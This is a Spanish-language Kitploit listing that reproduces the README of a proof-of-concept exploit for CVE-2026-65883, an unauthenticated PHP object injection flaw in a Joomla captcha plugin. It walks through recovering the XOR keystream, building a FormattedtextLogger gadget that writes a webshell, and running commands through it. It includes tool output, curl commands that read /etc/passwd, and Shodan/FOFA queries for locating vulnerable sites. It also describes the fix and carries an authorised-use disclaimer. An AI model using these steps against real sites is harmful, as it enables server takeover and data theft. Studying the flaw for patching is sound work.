Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-65883 — Aimy Captcha-Less Form Guard: componente de Joomla con inyección de objetos PHP y RCE. clfgd: recuperación de keystream XOR + unserialize(). CVSS 10.0 | CWE-502 | aimy_captcha-less_form_guard < 20.1 | Kitploit
Herramientas/GitHubGitHub/shinthink/cve-2026-65883
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebRecopilación de InformaciónPruebas de PenetraciónRed Teaming
GitHubshinthink/cve-2026-65883

CVE-2026-65883

Aimy Captcha-Less Form Guard: componente de Joomla con inyección de objetos PHP y RCE. clfgd: recuperación de keystream XOR + unserialize(). CVSS 10.0 | CWE-502 | aimy_captcha-less_form_guard < 20.1

Ver Repositorio
45hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Python CVE CVSS License

CVE-2026-65883 — Aimy Captcha-Less Form Guard <= 20.0

Campo clfgd → Recuperación XOR → unserialize() → FormattedtextLogger → RCE


Resumen

Inyección de objetos PHP no autenticada en Aimy Captcha-Less Form Guard para Joomla. El método onCheckAnswer() decodifica en base64 el campo POST clfgd controlado por el atacante, lo procesa mediante un XOR de clave repetitiva y pasa el resultado directamente a — .

unserialize()
sin HMAC, sin restricción de allowed_classes y sin comprobación de integridad
CampoDetalle
CVECVE-2026-65883
ProductoAimy Captcha-Less Form Guard (complemento de Joomla)
CVSS 4.010.0 (Crítico)
TipoCWE-502 — Deserialización de datos no confiables
Afectadas18.0 — 20.0
Corregida20.1 (29 de julio de 2026)
DescubiertaValentin Lobstein (Chocapikk) / VulnCheck — 26 de julio de 2026

Versiones Afectadas

EstadoVersión
Vulnerable18.0 — 20.0
Corregida20.1 (29 de julio de 2026)

Mecanismo de Vulnerabilidad

Causa raíz

El método onCheckAnswer() en plg_captcha_aimycaptchalessformguard pasa la entrada controlada por el atacante directamente a unserialize():

root@kitploit:~
// onCheckAnswer() — pre-20.1
$cld = false;
if (($clfgd = $input->get('clfgd', '', 'RAW'))) {
    $cld = @unserialize(
        XorHelper::crypt( base64_decode($clfgd), self::getXorKey() )
    );
}

El "cifrado" XOR es un cifrado Vigenère con una clave por sesión: sin autenticación, solo ofuscación.

El cifrado roto

root@kitploit:~
// XorHelper::crypt() — repeating-key XOR, period 231
static public function crypt($bytes, $key) {
    $ekey = str_split(self::getHashedKey($key));  // sha512.sha256.sha1 = 232 hex
    $s    = str_split(strVal($bytes));
    $klen = count($ekey);
    for ($i = 0; $i < count($s); $i++) {
        $val .= $s[$i] ^ $ekey[$i % ($klen - 1)];  // period 231
    }
    return $val;
}

Recuperación del flujo de claves

El complemento renderiza tanto el texto cifrado como el texto plano en la misma respuesta HTML:

root@kitploit:~
// onDisplay()
$cld->trap_ids = array($id, $trap_id);      // readable from HTML
$cld->mt       = time() + 7;                 // known (server time + 7s)
$html .= '<input name="clfgd" value="'
      . base64_encode(XorHelper::crypt(serialize($cld), $key))
      . '" />';

Dado que tanto trap_ids (extraíbles del <span id="..._mark"> y de la entrada honeypot) como el texto cifrado están en el HTML, aplicarles XOR recupera ~94 bytes del flujo de claves de 231 bytes.

Flujo del ataque

  1. GET a cualquier formulario protegido por captcha (registro, inicio de sesión, contacto, restablecimiento de contraseña)
  2. Extraer el texto cifrado clfgd + trap_ids + temporización → recuperar 94 bytes del flujo de claves
  3. Alinear un objeto serializado FormattedtextLogger para que los bytes estructurales caigan en posiciones conocidas del flujo de claves
  4. POST con clfgd manipulado → unserialize() → __destruct() → formatLine() → escribe un webshell PHP
  5. GET /random.php?c=id → RCE como www-data

Prueba de Concepto

Objetivo único

root@kitploit:~
$ python cve_2026_65883.py -t target.com

  Target      : target.com
  Status      : Aimy Captcha-Less Form Guard v20.0
  Form        : /index.php?option=com_users&view=registration
  Keystream   : 94 bytes recovered
  Shell       : a1b2c3d4e5.php
  Gadget      : 1460 bytes
  POST        : HTTP 303
  Shell URL   : https://target.com/a1b2c3d4e5.php
  RCE         : CONFIRMED!

RCE ACHIEVED!
  https://target.com/a1b2c3d4e5.php?c=id

Explotación manual

root@kitploit:~
# Step 1 — Get form + recover keystream
curl -sk "https://target.com/index.php?option=com_users&view=registration" \
  | grep -oP 'clfgd" value="\K[^"]+' | base64 -d > /tmp/ct.bin

# Step 2 — Build FormattedtextLogger gadget + XOR encrypt
python cve_2026_65883.py -t target.com -c "id"

# Step 3 — Access webshell
curl -sk "https://target.com/a1b2c3d4e5.php?c=cat+/etc/passwd"

FOFA / Shodan

root@kitploit:~
# Aimy Captcha hidden field
body="clfgd" && body="Joomla"

# Plugin version disclosure
body="aimycaptchalessformguard"

# Shodan
http.html:"clfgd" http.component:"Joomla"

La corrección (20.1)

root@kitploit:~
// 20.0 (vulnerable)
$cld = @unserialize( XorHelper::crypt( base64_decode($clfgd), self::getXorKey() ) );

// 20.1 (fixed)
$cld = @json_decode( XorHelper::crypt( base64_decode($clfgd), self::getXorKey() ) );

json_decode() no puede instanciar objetos PHP — la cadena de gadgets POP queda cortada.


Impacto

  • RCE total — ejecutar comandos arbitrarios como www-data
  • No requiere autenticación — cualquier formulario público con captcha es un vector
  • Joomla 3.9–5.2.1 — el gadget FormattedtextLogger funciona en todas las versiones
  • Persistente — el webshell permanece hasta que se elimina manualmente

Descargo de responsabilidad

Esta herramienta es solo para pruebas de seguridad educativas y autorizadas. Úsala únicamente contra sistemas que te pertenezcan o para los que tengas permiso explícito para probar.


Referencias

RecursoEnlace
VulnCheck Blogvulncheck.com/blog/aimy-captcha-less-form-guard-object-injection
IONIX Threat Centerionix.io/threat-center/cve-2026-65883
CVE Recordcve.org/CVERecord?id=CVE-2026-65883
NVDnvd.nist.gov/vuln/detail/CVE-2026-65883

No afiliado con Aimy Extensions ni VulnCheck.

Descargar herramienta